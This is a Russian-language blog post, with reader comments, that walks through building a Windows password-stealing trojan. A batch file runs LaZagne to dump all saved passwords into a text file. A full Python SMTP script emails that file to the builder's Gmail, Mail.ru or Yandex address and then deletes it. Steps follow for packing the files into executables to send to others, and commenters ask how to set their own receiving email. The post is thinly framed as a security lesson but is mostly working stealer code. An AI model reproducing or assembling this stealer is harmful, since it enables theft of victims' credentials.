Пример трояна для кражи паролей с компьютера

Здравствуй, читатель сегодня поговорим о том почему не надо открывать непроверенные файлы скачанные с неизвестных источников и создадим такой файл чтобы понять что он может наделать на вашем ПК. Создавать мы будем стиллер который соберет все наши пароли и отправит их нам по почте.

Картинки по запросу python

Что для этого нужно?

Нам понадобится:

  1. Python 3.x.x
  2. Инструмент для восстановления паролей(в нашем случае LaZagne)
  3. Два аккаунта Google

И так начинаем

Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом. Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл send.py.

У нас должна получится такая структура:

Project:

  • laZagne.exe
  • send.py
  • main.bat

Пишем код

Откроем файл main.bat и поместим туда код:

@Echo off
laZagne.exe all > pass.txt

Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором будут все ваши пароли из браузеров(и не только). Осталось только отправить данные на почту. Но как это сделать?

Отправка на почту

Открываем файл send.py и вставляем код:

import smtplib                                              
import os                                                   

import mimetypes                                            
from email import encoders                                  
from email.mime.base import MIMEBase                        
from email.mime.text import MIMEText                        
from email.mime.image import MIMEImage                      
from email.mime.audio import MIMEAudio                      
from email.mime.multipart import MIMEMultipart              

def send_email(addr_from, password, addr_to, files):                            

    msg_subj = 'Password'
    msg_text = 'Password'
    msg = MIMEMultipart()                                   
    msg['From']    = addr_from                              
    msg['To']      = addr_to                                
    msg['Subject'] = msg_subj                               

    body = msg_text                                         
    msg.attach(MIMEText(body, 'plain'))                     

    process_attachement(msg, files)

    #==========Код зависящий от сервиса==========
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(addr_from, password)
    server.send_message(msg)
    server.quit()
        #============================================

def process_attachement(msg, files):                        
    for f in files:
        if os.path.isfile(f):                               
            attach_file(msg,f)                              
        elif os.path.exists(f):                             
            dir = os.listdir(f)                             
            for file in dir:                                
                attach_file(msg,f+"/"+file)                 

def attach_file(msg, filepath):                             
    filename = os.path.basename(filepath)                   
    ctype, encoding = mimetypes.guess_type(filepath)        
    if ctype is None or encoding is not None:              
        ctype = 'application/octet-stream'                  
    maintype, subtype = ctype.split('/', 1)                 
    if maintype == 'text':                                  
        with open(filepath) as fp:                          
            file = MIMEText(fp.read(), _subtype=subtype)    
            fp.close()                                      
    elif maintype == 'image':                               
        with open(filepath, 'rb') as fp:
            file = MIMEImage(fp.read(), _subtype=subtype)
            fp.close()
    elif maintype == 'audio':                               
        with open(filepath, 'rb') as fp:
            file = MIMEAudio(fp.read(), _subtype=subtype)
            fp.close()
    else:                                                   
        with open(filepath, 'rb') as fp:
            file = MIMEBase(maintype, subtype)              
            file.set_payload(fp.read())                     
            fp.close()
            encoders.encode_base64(file)                    
    file.add_header('Content-Disposition', 'attachment', filename=filename) 
    msg.attach(file)                                        

#=====Настройки=================================
_from = "from@gmail.com"
_password = "password"
_to   = "to@gmail.com"                                
files = ["pass.txt"]                                    
#=============================================

send_email(_from, _password, _to, files)

Теперь нужно настроить и в зависимости от сервиса по которому будете отправлять почту изменяем выделенный код: Google (прежде нужно разрешить доступ для менее безопасных приложений):

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Mail.ru:

server = smtplib.SMTP_SSL('smtp.mail.ru', 25)
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Yandex:

server = smtplib.SMTP_SSL('smtp.yandex.ru', 465)
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Доделываем .bat

Теперь в наш .bat файл добавим код запуска файла send.py и удаления файла pass.txt:

send.py
del /s "pass.txt"

Сборка

Теперь после запуска main.bat ваши пароли будут отправлены к вам на почту но если у вас не установлен Python то ничего не получится нужно превратить наш send.py файл в exe. Для этого открываем консоль и пишем:

pip install pyinstaller
pyinstaller --onefile send.py

Еще но нужно превратить main.bat файл в main.exe, и в этом нам поможет Bat To Exe Converter. Жмем на кнопку с тремя точками(«…») и ищем ваш файл main.bat, жмем «Открыть», после чего жмем «Convert» и получаем файл main.exe. Эти три файла и есть наш стиллер, можем отправлять другу и радоватьсяпроверять на работоспособность.

Ссылки

Click to rate this post!
[Total: 15 Average: 4]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

7 comments On Пример трояна для кражи паролей с компьютера

  • Да да троян на питоне, и все это успешно палится любым антивирусом из коробки. Такие вещи надо на Си писать.

  • А можете пжалуйста уточнить какую имменно консоль открывать?

  • А еще куда писать свой емаил на который он отправит пароли?

  • #=====Настройки=================================
    _from = «from@gmail.com»
    _password = «password»
    _to = «to@gmail.com»
    files = [«pass.txt»]
    #=============================================

    send_email(_from, _password, _to, files)
    меняешь емейлы на свои

  • но ето не точно

  • ошибка кто может помочь
    File «C:\Users\Vladimir\Desktop\viruss\main.py», line 26, in send_email
    server = smtplib.SMTP_SSL(‘smtp.mail.ru’, 25)
    File «C:\Users\Vladimir\AppData\Local\Programs\Python\Python310\lib\smtplib.py», line 1050, in __init__
    SMTP.__init__(self, host, port, local_hostname, timeout,
    File «C:\Users\Vladimir\AppData\Local\Programs\Python\Python310\lib\smtplib.py», line 255, in __init__
    (code, msg) = self.connect(host, port)
    File «C:\Users\Vladimir\AppData\Local\Programs\Python\Python310\lib\smtplib.py», line 341, in connect
    self.sock = self._get_socket(host, port, self.timeout)
    File «C:\Users\Vladimir\AppData\Local\Programs\Python\Python310\lib\smtplib.py», line 1057, in _get_socket
    new_socket = self.context.wrap_socket(new_socket,
    File «C:\Users\Vladimir\AppData\Local\Programs\Python\Python310\lib\ssl.py», line 512, in wrap_socket
    return self.sslsocket_class._create(
    File «C:\Users\Vladimir\AppData\Local\Programs\Python\Python310\lib\ssl.py», line 1070, in _create
    self.do_handshake()
    File «C:\Users\Vladimir\AppData\Local\Programs\Python\Python310\lib\ssl.py», line 1341, in do_handshake
    self._sslobj.do_handshake()
    ssl.SSLError: [SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:997)

Leave a reply:

Your email address will not be published.